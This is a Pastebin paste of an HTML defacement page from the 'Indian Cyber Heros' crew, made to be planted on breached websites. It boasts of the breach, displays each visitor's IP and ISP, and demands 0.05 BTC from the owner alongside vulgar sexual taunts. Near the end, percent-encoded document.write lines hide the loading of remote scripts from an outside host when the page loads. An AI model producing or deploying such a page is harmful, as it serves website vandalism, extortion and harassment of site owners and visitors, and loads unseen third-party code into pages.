API tools faq
paste
Advertisement
Himeshvyas26

ICH DFC

Himeshvyas26
Aug 13th, 2018
370
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.62 KB | None | 0 0
raw download clone embed print report
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title> -=[INDIAN CYBER HEROS ~ HINDUSTAN ZINDABAD ~ W3B SH4RK]=- </title>
  6. <link rel="SHORTCUT ICON" href="https://imgur.com/NtcD4QB.jpg">
  7. <meta name="Author" content="-=[W3B.SH4RK]=-">
  8. <meta name="copyright" content="-=[W3B.SH4RK]=-">
  9. <meta name="description" content="LMAO,Yewr Dummy Site and Secuirity Was Breached By -=[W3B.SH4RK]=- From -=(INDIAN CYBER HEROS)=-">
  10. <meta name="keywords" content="Shit Security,Security Breached,">
  11. <meta property="og:title" content="-=(W3B.SH4RK)=-">
  12. <meta property="og:image" content="https://s8.postimg.cc/a3di82gk5/X-_SILENCE_6.png">
  13. <meta property="og:description" content="-=[INDIAN CYBER HEROS ~ HINDUSTAN ZINDABAD]=-">
  14. <link href="https://a1.muscache.com/airbnb/static/packages/common_o2.1-pretzel-63569659624b0120e962749578cae707.css" media="all" rel="stylesheet" type="text/css">
  15. <link rel="stylesheet" type="text/css" href="https://csshake.surge.sh/csshake.min.css">
  16. <link href="https://fonts.googleapis.com/css?family=Iceland" rel="stylesheet">
  17.  
  18. <link href="https://fonts.googleapis.com/css?family=Keania+One" rel="stylesheet">
  19.  
  20. <link href="https://fonts.googleapis.com/css?family=Megrim" rel="stylesheet">
  21. <link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
  22.  
  23. <script type="text/javascript">
  24. var rev = "fwd";
  25. function titlebar(val)
  26. {
  27. var msg = "[W3B.5H4RK ~ HINDUSTAN ZINDABAD ~ INDIAN CYBER HEROS]";
  28. var res = " ";
  29. var speed = 50
  30. var pos = val;
  31.  
  32. msg = "-="+msg+"=-";
  33. var le = msg.length;
  34. if(rev == "fwd"){
  35. if(pos < le){
  36. pos = pos+1;
  37. scroll = msg.substr(0,pos);
  38. document.title = scroll;
  39. timer = window.setTimeout("titlebar("+pos+")",speed);
  40. }
  41. else{
  42. rev = "bwd";
  43. timer = window.setTimeout("titlebar("+pos+")",speed);
  44. }
  45. }
  46. else{
  47. if(pos > 0){
  48. pos = pos-1;
  49. var ale = le-pos;
  50. scrol = msg.substr(ale,le);
  51. document.title = scrol;
  52. timer = window.setTimeout("titlebar("+pos+")",speed);
  53. }
  54. else{
  55. rev = "fwd";
  56. timer = window.setTimeout("titlebar("+pos+")",speed);
  57. }
  58. }
  59. }
  60.  
  61. titlebar(0);
  62. </script>
  63. <style type="text/css">
  64. body{
  65. background-image:url("http://bestanimations.com/Nature/Fire/fire-animated-gif-4.gif");
  66. background-color:#000;
  67. background-size:100% 100%;
  68. background-size:-webkit-100% 100%;
  69. background-size:-moz-webkit- 100% 100%;
  70. background-size:-o-webkit-100% 100%;
  71. background-repeat:no-repeat;
  72. }
  73. h2{
  74. color:white;
  75. font-size:22pt;
  76. font-family:"Orbitron";
  77. font-weight:bold;
  78. text-shadow:0 0 5px #00A9BE, 0 0 10px #1ab4e7, 0 0 30px #18a2d0, 0 0 45px #000;
  79.  
  80. }
  81. .container {
  82. height: 100%;
  83. width: 100%;
  84. justify-content: center;
  85. align-items: center;
  86. display: flex;
  87. }
  88. .text {
  89. font-weight: 100;
  90. font-size: 28px;
  91. color: #FAFAFA;
  92. font-family: Iceland;
  93. text-shadow: 0 0 0.5em cyan, 0 0 0.5em cyan;
  94.  
  95. }
  96. .dud {
  97. color: #757575;
  98. }
  99.  
  100. .animation-container {
  101. position: fixed;
  102. top: 0;
  103. left: 0;
  104. right: 0;
  105. bottom: 0;
  106. z-index: 1;
  107. }
  108.  
  109. .animation-container span {
  110. color: grey;
  111. display: block;
  112. font-size: 20px;
  113. font-family: 'Iceland';
  114. text-shadow: 0 0 5px orange;
  115. position: absolute;
  116. user-select: none;
  117. pointer-events: none;
  118. cursor: default;
  119. z-index: 1;
  120. opacity: 0;
  121. will-change: transform, opacity;
  122. animation-timing-function: ease-out;
  123. animation-name: move;
  124. }
  125.  
  126. @keyframes move {
  127. 0% {
  128. opacity: 0;
  129. transform: translateY(100vh);
  130. }
  131. 25% {
  132. opacity: 1;
  133. }
  134. 50% {
  135. opacity: 1;
  136. }
  137. 75% {
  138. opacity: 0;
  139. }
  140. 100% {
  141. opacity: 0;
  142. transform: none;
  143. }
  144. }
  145. .buzz_wrapper{
  146. position:relative;
  147. width:100%;
  148. margin:180px auto;
  149. background-attachment: fixed;
  150. background-image: url(http://i.imgur.com/9QpJPlG.jpg);
  151. background-position: 0 0;
  152. background-repeat: no-repeat ;
  153. background-size:cover;
  154. overflow : hidden;
  155. overflow:hidden;
  156. padding:100px;
  157. }
  158. .scanline{
  159. width:100%;
  160. display:block;
  161. background:#000;
  162. height:4px;
  163. position:relative;
  164. z-index:3;
  165. margin-bottom:5px;
  166. opacity:0.1;
  167. }
  168. .buzz_wrapper span{
  169. position:absolute;
  170. -webkit-filter: blur(1px);
  171. font-size:30px;
  172. font-family:'Courier new', fixed;
  173. font-weight:bold;
  174. }
  175. .buzz_wrapper span:nth-child(1){
  176. color:red;
  177. margin-left:-2px;
  178. -webkit-filter: blur(2px);
  179. }
  180. .buzz_wrapper span:nth-child(2){
  181. color:green;
  182. margin-left:2px;
  183. -webkit-filter: blur(2px);
  184. }
  185. .buzz_wrapper span:nth-child(3){
  186. color:blue;
  187. position:20px 0;
  188. -webkit-filter: blur(1px);
  189. }
  190. .buzz_wrapper span:nth-child(4){
  191. color:#fff;
  192. -webkit-filter: blur(1px);
  193. text-shadow:0 0 50px rgba(255,255,255,0.4);
  194. }
  195. .buzz_wrapper span:nth-child(5){
  196. color:rgba(255,255,255,0.4);
  197. -webkit-filter: blur(15px);
  198. }
  199.  
  200. .buzz_wrapper span{
  201. -webkit-animation: blur 30ms infinite, jerk 50ms infinite;
  202. }
  203.  
  204. @-webkit-keyframes blur {
  205. 0% { -webkit-filter: blur(1px); opacity:0.8;}
  206. 50% { -webkit-filter: blur(1px); opacity:1; }
  207. 100%{ -webkit-filter: blur(1px); opacity:0.8; }
  208. }
  209. @-webkit-keyframes jerk {
  210. 50% { left:1px; }
  211. 51% { left:0; }
  212. }
  213. @-webkit-keyframes jerkup {
  214. 50% { top:1px; }
  215. 51% { top:0; }
  216. }
  217.  
  218. .buzz_wrapper span:nth-child(3){
  219. -webkit-animation: jerkblue 1s infinite;
  220. }
  221. @-webkit-keyframes jerkblue {
  222. 0% { left:0; }
  223. 30% { left:0; }
  224. 31% { left:10px; }
  225. 32% { left:0; }
  226. 98% { left:0; }
  227. 100% { left:10px; }
  228. }
  229. .buzz_wrapper span:nth-child(2){
  230. -webkit-animation: jerkgreen 1s infinite;
  231. }
  232. @-webkit-keyframes jerkgreen {
  233. 0% { left:0; }
  234. 30% { left:0; }
  235. 31% { left:-10px; }
  236. 32% { left:0; }
  237. 98% { left:0; }
  238. 100% { left:-10px; }
  239. }
  240.  
  241. .buzz_wrapper .text{
  242. -webkit-animation: jerkwhole 5s infinite;
  243. position:relative;
  244. }
  245. @-webkit-keyframes jerkwhole {
  246. 30% { }
  247. 40% { opacity:1; top:0; left:0; -webkit-transform:scale(1,1); -webkit-transform:skew(0,0);}
  248. 41% { opacity:0.8; top:0px; left:-100px; -webkit-transform:scale(1,1.2); -webkit-transform:skew(50deg,0);}
  249. 42% { opacity:0.8; top:0px; left:100px; -webkit-transform:scale(1,1.2); -webkit-transform:skew(-80deg,0);}
  250. 43% { opacity:1; top:0; left:0; -webkit-transform:scale(1,1); -webkit-transform:skew(0,0);}
  251. 65% { }
  252. }
  253.  
  254. </style>
  255. <body><center>
  256. <div style="position: fixed; top: 75px; left: -225px; width: 600px; padding: 10px; font-size: 24px; text-align: center; color: white; font-family: 'trebuchet ms', verdana, arial, sans-serif;transform: rotate(-45deg);transform-origin: 50% 0px;-o-transform: rotate(-45deg); -o-transform-origin: 50% 0px;-moz-transform: rotate(-45deg); -moz-transform-origin: 50% 0px; -webkit-transform: rotate(-45deg); -webkit-transform-origin: 50% 0px; background-color: Transparent; border: 1px solid rgb(170, 170, 170); z-index: 9999; opacity: 0.50;"><span style="color: orange;">Indian </span><span style="color: white;">Cyber </span><span style="color: green;">Heros</span></div><br><br>
  257. <img src="https://s22.postimg.cc/xa8xef4tt/ich.png" style="height: 270px;"/>
  258. <div class="text"></div>
  259. <font color="#9500fd" size="4"></font>
  260. <p>
  261. <script language="JavaScript">
  262. VIH_BackColor = "black";
  263. VIH_ForeColor = "white";
  264. VIH_FontPix = "15";
  265. VIH_DisplayFormat = "Your IP, %%IP%% . Your ISP, %%HOST%%"; VIH_DisplayOnPage = "yes";
  266. </script>
  267.  
  268. <script language="JavaScript" src="http://scripts.hashemian.com/js/visitorIPHOST.js.php">
  269. </script>
  270. </p>
  271. <span style="color: orange; font-family: Iceland; font-size: 20px;"> SELECT FINGER FROM HAND WHERE ID = 3 </span>
  272. <marquee behavior="scroll" direction="right" scrollamount="80" scrolldelay="80" width="100%"><font color="orange"> _____________________________________ </font></marquee>
  273. <span style="color: white; font-family: Iceland; font-size: 20px;"> YOUR SITE HAS BEEN FUCKED , GIVE ME 0.05 BTC AND M.I.L.F OR I WILL BE COMEBACK TO YOUR SITE AND CUM IN YOUR MOM'S VAGINA HAHA, <br> CALM JUST KIDDING , GO FIX IT IM JUST HORNY , IM NEED M.I.L.F NOW , IF YOU HAVE PLEASE CONTACT ME xD </span><br>
  274. <marquee behavior="scroll" direction="left" scrollamount="80" scrolldelay="80" width="100%"><font color="white"> _____________________________________ </font></marquee>
  275. <span style="color: grey; font-family: Iceland; font-size: 20px;"> W3B SH4RK :- <marquee behavior="alternate" onmouseover="this.stop()" onmouseout="this.start()" scrollamount="100" scrolldelay="600" direction="right" truespeed="truespeed" width="80%"> <font color ="Orange" font-size="20" ><b><b>WE ARE INDIAN ~ WE ARE NOT TERRORISTS </font><font color ="white"> WE ARE NOT VANDALS ~ WE ARE ONLY THE REVOLUTION <font color ="green"> WE ARE INDIAN CYBER HEROS </font></span></span></span></span></marquee>
  276. <marquee behavior="scroll" direction="right" scrollamount="80" scrolldelay="80" width="100%"><font color="green"> _____________________________________ </font></marquee><br>
  277. <span style="color: grey; font-family: Iceland; font-size: 19px;"><b><b>FAMILY :- <font color ="orange">H4M4573R ~ W3BSH4RK ~1n51d3H4ck3r1337 ~ FR3D3R1K V410 ~ DutchM@n ~ TINYUMBRELLA ~ C1PH3R ~ P4rg0l ~ XYBER WORM ~ 4r5h d0rk ~ </font><br><font color ="white">BL@CKC0Br4 ~ VIRTUAL_CODER ~ N0N53N53 ~ Depressed_man ~ web_dragon ~ Toxic_venom ~ Bug_Vaulter ~ Proboi1337 ~ Mr proton ~ mr.n00b ~ </font><br><font color ="white">D4N73_Dante ~ Gujjar_Ghost ~ K0n4l h4x0r ~ MR.NOOB ~ DarkLor4 ~ R3b3l kn1gh7 ~ </font><br><font color ="green">!hacker 101 ~ Luc!f@r-D3str0y3r ~ n0b1t4 ~ Pr0ton ~ V4ul73r ~ SH1NCH4N ~ HAX0RB0I ~ Yush ~ FUCK3RSPRO </font></span></b></b>
  278.  
  279.  
  280. <div style="display: block; margin-top: 25px;">
  281.  
  282. <span style="float: left; margin-left: 50px; font-size: 17px; margin-top: 3px; line-height: 12px;">
  283. <span style="color: orange;"><b><b> -= W3B </span><span style="color: white;">SH4RK </span><span style="color: green;">H3R3 =- </b></b></span>
  284.  
  285.  
  286. </span>
  287.  
  288. <span style="float: right; margin-right: 50px; font-size: 17px;">
  289.  
  290. <span style="color: orange;"><b><b> -= INDIAN </span><span style="color: white;">CYBER</span><span style="color: green;"> HEROS =- </b></b></span></span>
  291. <script language="javascript">
  292. var text='-=(W3B SH4RK)=-';
  293. var delay=5;
  294. var Xoff=0;
  295. var Yoff=-30;
  296. var txtw=10;
  297. var beghtml='<font face="Agency FB" color="orange" style="" size="4em"><b>';
  298. var endhtml='</b></font>';
  299. ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true: false;
  300. ie4 = (document.all && !document.getElementById)? true : false;
  301. ie5 = (document.all && document.getElementById)? true : false;
  302. ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;
  303. var txtA=new Array();
  304. text=text.split('');
  305. var x1=0;
  306. var y1=-50;
  307. var t='';
  308. for(i=1;i<=text.length;i++){
  309. t+=(ns4)? '<layer left="0" top="-100" width="'+txtw+'" name="txt'+i+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';
  310. t+=beghtml+text[i-1]+endhtml;
  311. t+=(ns4)? '</layer>' : '</div>';
  312. }
  313. document.write(t);
  314. function moveid(id,x,y){
  315. if(ns4)id.moveTo(x,y);
  316. else{
  317. id.style.left=x+'px';
  318. id.style.top=y+'px';
  319. }}
  320. function animate(evt){
  321. x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);
  322. y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);
  323. }
  324. function getidleft(id){
  325. if(ns4)return id.left;
  326. else return parseInt(id.style.left);
  327. }
  328. function getidtop(id){
  329. if(ns4)return id.top;
  330. else return parseInt(id.style.top);
  331. }
  332. function getwindowwidth(){
  333. if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;
  334. else return window.innerWidth+pageXOffset;
  335. }
  336. function movetxts(){
  337. for(i=text.length;i>1;i=i-1){
  338. if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){
  339. moveid(txtA[i-1],0,-100);
  340. moveid(txtA[i],0,-100);
  341. }else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));
  342. }
  343. moveid(txtA[1],x1,y1);
  344. }
  345. window.onload=function(){
  346. for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);
  347. if(ns4)document.captureEvents(Event.MOUSEMOVE);
  348. document.onmousemove=animate;
  349. setInterval('movetxts()',delay);
  350. }
  351. </script>
  352.  
  353. <script src="http://e-mete.com/js/kdsnow.js"></script>
  354. <script src="http://www.schillmania.com/projects/snowstorm/snowstorm-min.js" type="text/javascript"></script>
  355. <script Language='Javascript'>
  356. <!--
  357. document.write(unescape('%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%68%74%6D%6C%2C%62%6F%64%79%7B%68%65%69%67%68%74%3A%31%30%30%25%3B%6D%61%72%67%69%6E%3A%30%3B%70%61%64%64%69%6E%67%3A%30%7D%75%6C%2C%6C%69%7B%74%65%78%74%2D%69%6E%64%65%6E%74%3A%30%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%3B%6D%61%72%67%69%6E%3A%30%3B%70%61%64%64%69%6E%67%3A%30%7D%69%6D%67%7B%62%6F%72%64%65%72%3A%30%7D%62%6F%64%79%7B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%30%30%30%3B%63%6F%6C%6F%72%3A%23%39%39%39%3B%66%6F%6E%74%3A%31%30%30%25%2F%31%38%70%78%20%68%65%6C%76%65%74%69%63%61%2C%61%72%69%61%6C%2C%73%61%6E%73%2D%73%65%72%69%66%7D%63%61%6E%76%61%73%7B%63%75%72%73%6F%72%3A%63%72%6F%73%73%68%61%69%72%3B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%3B%6C%65%66%74%3A%30%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%30%3B%7A%2D%69%6E%64%65%78%3A%32%30%7D%23%68%65%61%64%65%72%20%69%6D%67%7B%77%69%64%74%68%3A%31%30%30%25%3B%68%65%69%67%68%74%3A%32%30%25%7D%23%62%67%20%69%6D%67%7B%77%69%64%74%68%3A%31%30%30%25%3B%68%65%69%67%68%74%3A%38%30%25%7D%23%68%65%61%64%65%72%2C%23%62%67%7B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%6C%65%66%74%3A%30%3B%72%69%67%68%74%3A%30%3B%7A%2D%69%6E%64%65%78%3A%31%30%7D%23%68%65%61%64%65%72%7B%74%6F%70%3A%30%7D%23%62%67%7B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%6F%74%74%6F%6D%3A%30%7D%61%75%64%69%6F%7B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%62%6F%74%74%6F%6D%3A%30%3B%6C%65%66%74%3A%30%3B%72%69%67%68%74%3A%30%3B%77%69%64%74%68%3A%31%30%30%25%3B%7A%2D%69%6E%64%65%78%3A%35%7D%2E%77%65%62%64%65%73%69%67%6E%7B%77%69%64%74%68%3A%33%30%25%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%30%3B%6C%65%66%74%3A%30%3B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%74%61%68%6F%6D%61%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%3B%63%6F%6C%6F%72%3A%23%32%33%32%33%32%33%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%31%70%78%7D%2E%77%65%62%64%65%73%69%67%6E%32%7B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%30%3B%72%69%67%68%74%3A%30%3B%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%74%61%68%6F%6D%61%3B%74%65%78%74%2D%64%65%63%6F%72%61%74%69%6F%6E%3A%6E%6F%6E%65%3B%63%6F%6C%6F%72%3A%23%32%33%32%33%32%33%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%31%70%78%7D%23%62%67%69%6D%67%7B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%7D%23%62%67%69%6D%67%31%7B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%7D%40%6D%65%64%69%61%20%73%63%72%65%65%6E%20%61%6E%64%20%28%6D%61%78%2D%77%69%64%74%68%3A%35%30%30%70%78%29%7B%23%62%67%69%6D%67%31%7B%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%7D%23%62%67%69%6D%67%7B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%7D%7D%3C%2F%73%74%79%6C%65%3E%0A'));
  358. document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%61%72%73%69%63%6F%2E%6E%65%74%2F%70%61%67%65%73%2F%66%77%2F%73%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%70%61%72%73%69%63%6F%2E%6E%65%74%2F%70%61%67%65%73%2F%66%77%2F%66%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
  359. //-->
  360. </Script>
  361. <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/howler/2.0.3/howler.min.js"></script>
  362. <script type="text/javascript">
  363. var sound = new Howl({src: ['https://f.top4top.net/m_930jq6c41.mp3?dl=0'],loop: true,autoplay: true});
  364. sound.play();
  365. </script>
  366. <script >class TextScramble {
  367. constructor(el) {
  368. this.el = el
  369. this.chars = '!@#$%^&*()_-=+{}:"|<>?,./;'
  370. this.update = this.update.bind(this)
  371. }
  372. setText(newText) {
  373. const oldText = this.el.innerText
  374. const length = Math.max(oldText.length, newText.length)
  375. const promise = new Promise((resolve) => this.resolve = resolve)
  376. this.queue = []
  377. for (let i = 0; i < length; i++) {
  378. const from = oldText[i] || ''
  379. const to = newText[i] || ''
  380. const start = Math.floor(Math.random() * 40)
  381. const end = start + Math.floor(Math.random() * 40)
  382. this.queue.push({ from, to, start, end })
  383. }
  384. cancelAnimationFrame(this.frameRequest)
  385. this.frame = 0
  386. this.update()
  387. return promise
  388. }
  389. update() {
  390. let output = ''
  391. let complete = 0
  392. for (let i = 0, n = this.queue.length; i < n; i++) {
  393. let { from, to, start, end, char } = this.queue[i]
  394. if (this.frame >= end) {
  395. complete++
  396. output += to
  397. } else if (this.frame >= start) {
  398. if (!char || Math.random() < 0.28) {
  399. char = this.randomChar()
  400. this.queue[i].char = char
  401. }
  402. output += `<span class="dud">${char}</span>`
  403. } else {
  404. output += from
  405. }
  406. }
  407. this.el.innerHTML = output
  408. if (complete === this.queue.length) {
  409. this.resolve()
  410. } else {
  411. this.frameRequest = requestAnimationFrame(this.update)
  412. this.frame++
  413. }
  414. }
  415. randomChar() {
  416. return this.chars[Math.floor(Math.random() * this.chars.length)]
  417. }
  418. }
  419.  
  420. const phrases = [
  421. ':: W3B SH4RK H3R3 ::',
  422. ':: INDIAN CYBER HEROS ::',
  423. ':: HINDUST4N ZIND4B4D ::',
  424. ':: SECUIRITY IS AN ILLUSION ::',
  425. ':: Y0U H4V3 B33N H4CK3D ::',
  426. ':: J4I HIND - J4I BH4R4T ::',
  427.  
  428.  
  429.  
  430.  
  431. ]
  432.  
  433. const el = document.querySelector('.text')
  434. const fx = new TextScramble(el)
  435.  
  436. let counter = 0
  437. const next = () => {
  438. fx.setText(phrases[counter]).then(() => {
  439. setTimeout(next, 1500)
  440. })
  441. counter = (counter + 1) % phrases.length
  442. }
  443.  
  444. next()
  445.  
  446. 'use strict';
  447.  
  448. var app = {
  449.  
  450. chars: [''],
  451.  
  452. init: function () {
  453. app.container = document.createElement('div');
  454. app.container.className = 'animation-container';
  455. document.body.appendChild(app.container);
  456. window.setInterval(app.add, 100);
  457. },
  458.  
  459. add: function () {
  460. var element = document.createElement('span');
  461. app.container.appendChild(element);
  462. app.animate(element);
  463. },
  464.  
  465. animate: function (element) {
  466. var character = app.chars[Math.floor(Math.random() * app.chars.length)];
  467. var duration = Math.floor(Math.random() * 15) + 1;
  468. var offset = Math.floor(Math.random() * (50 - duration * 2)) + 3;
  469. var size = 10 + (15 - duration);
  470. element.style.cssText = 'right:'+offset+'vw; font-size:'+size+'px;animation-duration:'+duration+'s';
  471. element.innerHTML = character;
  472. window.setTimeout(app.remove, duration * 1000, element);
  473. },
  474.  
  475. remove: function (element) {
  476. element.parentNode.removeChild(element);
  477. },
  478.  
  479. };
  480.  
  481. document.addEventListener('DOMContentLoaded', app.init);
  482. //# sourceURL=pen.js
  483. </script>
  484. <script>
  485.  
  486. var bits=50; // how many bits
  487. var speed=20; // how fast - smaller is faster
  488. var bangs=9; // how many can be launched simultaneously (note that using too many can slow the script down)
  489. var colours=new Array("#03f", "#f03", "#0e0", "#93f", "#0cf", "#f93", "#f0c");
  490.  
  491. var bangheight=new Array();
  492. var intensity=new Array();
  493. var colour=new Array();
  494. var Xpos=new Array();
  495. var Ypos=new Array();
  496. var dX=new Array();
  497. var dY=new Array();
  498. var stars=new Array();
  499. var decay=new Array();
  500. var swide=800;
  501. var shigh=600;
  502. var boddie;
  503. window.onload=function() { if (document.getElementById) {
  504. var i;
  505. boddie=document.createElement("div");
  506. boddie.style.position="fixed";
  507. boddie.style.top="0px";
  508. boddie.style.left="0px";
  509. boddie.style.overflow="visible";
  510. boddie.style.width="1px";
  511. boddie.style.height="1px";
  512. boddie.style.backgroundColor="transparent";
  513. document.body.appendChild(boddie);
  514. set_width();
  515. for (i=0; i<bangs; i++) {
  516. write_fire(i);
  517. launch(i);
  518. setInterval('stepthrough('+i+')', speed);
  519. }
  520. }}
  521. function write_fire(N) {
  522. var i, rlef, rdow;
  523. stars[N+'r']=createDiv('|', 12);
  524. boddie.appendChild(stars[N+'r']);
  525. for (i=bits*N; i<bits+bits*N; i++) {
  526. stars[i]=createDiv('*', 13);
  527. boddie.appendChild(stars[i]);
  528. }
  529. }
  530. function createDiv(char, size) {
  531. var div=document.createElement("div");
  532. div.style.font=size+"px monospace";
  533. div.style.position="absolute";
  534. div.style.backgroundColor="transparent";
  535. div.appendChild(document.createTextNode(char));
  536. return (div);
  537. }
  538. function launch(N) {
  539. colour[N]=Math.floor(Math.random()*colours.length);
  540. Xpos[N+"r"]=swide*0.5;
  541. Ypos[N+"r"]=shigh-5;
  542. bangheight[N]=Math.round((0.5+Math.random())*shigh*0.4);
  543. dX[N+"r"]=(Math.random()-0.5)*swide/bangheight[N];
  544. if (dX[N+"r"]>1.25) stars[N+"r"].firstChild.nodeValue="/";
  545. else if (dX[N+"r"]<-1.25) stars[N+"r"].firstChild.nodeValue="\\";
  546. else stars[N+"r"].firstChild.nodeValue="|";
  547. stars[N+"r"].style.color=colours[colour[N]];
  548. }
  549. function bang(N) {
  550. var i, Z, A=0;
  551. for (i=bits*N; i<bits+bits*N; i++) {
  552. Z=stars[i].style;
  553. Z.left=Xpos[i]+"px";
  554. Z.top=Ypos[i]+"px";
  555. if (decay[i]) decay[i]--;
  556. else A++;
  557. if (decay[i]==15) Z.fontSize="7px";
  558. else if (decay[i]==7) Z.fontSize="2px";
  559. else if (decay[i]==1) Z.visibility="hidden";
  560. Xpos[i]+=dX[i];
  561. Ypos[i]+=(dY[i]+=1.25/intensity[N]);
  562. }
  563. if (A!=bits) setTimeout("bang("+N+")", speed);
  564. }
  565. function stepthrough(N) {
  566. var i, M, Z;
  567. var oldx=Xpos[N+"r"];
  568. var oldy=Ypos[N+"r"];
  569. Xpos[N+"r"]+=dX[N+"r"];
  570. Ypos[N+"r"]-=4;
  571. if (Ypos[N+"r"]<bangheight[N]) {
  572. M=Math.floor(Math.random()*3*colours.length);
  573. intensity[N]=5+Math.random()*4;
  574. for (i=N*bits; i<bits+bits*N; i++) {
  575. Xpos[i]=Xpos[N+"r"];
  576. Ypos[i]=Ypos[N+"r"];
  577. dY[i]=(Math.random()-0.5)*intensity[N];
  578. dX[i]=(Math.random()-0.5)*(intensity[N]-Math.abs(dY[i]))*1.25;
  579. decay[i]=16+Math.floor(Math.random()*16);
  580. Z=stars[i];
  581. if (M<colours.length) Z.style.color=colours[i%2?colour[N]:M];
  582. else if (M<2*colours.length) Z.style.color=colours[colour[N]];
  583. else Z.style.color=colours[i%colours.length];
  584. Z.style.fontSize="13px";
  585. Z.style.visibility="visible";
  586. }
  587. bang(N);
  588. launch(N);
  589. }
  590. stars[N+"r"].style.left=oldx+"px";
  591. stars[N+"r"].style.top=oldy+"px";
  592. }
  593. window.onresize=set_width;
  594. function set_width() {
  595. var sw_min=999999;
  596. var sh_min=999999;
  597. if (document.documentElement && document.documentElement.clientWidth) {
  598. if (document.documentElement.clientWidth>0) sw_min=document.documentElement.clientWidth;
  599. if (document.documentElement.clientHeight>0) sh_min=document.documentElement.clientHeight;
  600. }
  601. if (typeof(self.innerWidth)!="undefined" && self.innerWidth) {
  602. if (self.innerWidth>0 && self.innerWidth<sw_min) sw_min=self.innerWidth;
  603. if (self.innerHeight>0 && self.innerHeight<sh_min) sh_min=self.innerHeight;
  604. }
  605. if (document.body.clientWidth) {
  606. if (document.body.clientWidth>0 && document.body.clientWidth<sw_min) sw_min=document.body.clientWidth;
  607. if (document.body.clientHeight>0 && document.body.clientHeight<sh_min) sh_min=document.body.clientHeight;
  608. }
  609. if (sw_min==999999 || sh_min==999999) {
  610. sw_min=800;
  611. sh_min=600;
  612. }
  613. swide=sw_min;
  614. shigh=sh_min;
  615. }
  616.  
  617. </script>
  618. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!